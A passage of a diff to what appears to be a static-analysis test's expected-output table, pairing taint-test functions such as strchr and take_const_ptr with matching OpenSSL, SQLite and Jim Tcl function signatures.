strchr | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:815:7:815:12 | strchr | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:815:7:815:12 | strchr | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:815:7:815:12 | strchr | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:815:7:815:12 | strchr | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:815:7:815:12 | strchr | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:815:7:815:12 | strchr | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:815:7:815:12 | strchr | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:815:7:815:12 | strchr | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:815:7:815:12 | strchr | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:815:7:815:12 | strchr | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | DH_meth_new | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | DSA_meth_new | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | Jim_StrDupLen | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | RSA_meth_new | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | parse_yesno | 0 | +| taint.cpp:815:7:815:12 | strchr | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:815:7:815:12 | strchr | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:815:7:815:12 | strchr | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:815:7:815:12 | strchr | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:815:7:815:12 | strchr | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:815:7:815:12 | strchr | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:815:7:815:12 | strchr | (int,int) | | BN_security_bits | 1 | +| taint.cpp:815:7:815:12 | strchr | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (int,int) | | acttab_alloc | 1 | +| taint.cpp:815:7:815:12 | strchr | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:815:7:815:12 | strchr | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:815:7:815:12 | strchr | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:815:7:815:12 | strchr | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:815:7:815:12 | strchr | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:815:7:815:12 | strchr | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:815:7:815:12 | strchr | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:815:7:815:12 | strchr | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:815:7:815:12 | strchr | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:815:7:815:12 | strchr | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:815:7:815:12 | strchr | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:815:7:815:12 | strchr | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:815:7:815:12 | strchr | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:817:6:817:27 | write_to_const_ptr_ptr | (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_ptr | 1 | +| taint.cpp:817:6:817:27 | write_to_const_ptr_ptr | (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_string_ptr | 1 | +| taint.cpp:817:6:817:27 | write_to_const_ptr_ptr | (const X509_NAME *,const char **) | | OCSP_url_svcloc_new | 1 | +| taint.cpp:817:6:817:27 | write_to_const_ptr_ptr | (sqlite3_intck *,const char **) | | sqlite3_intck_error | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| 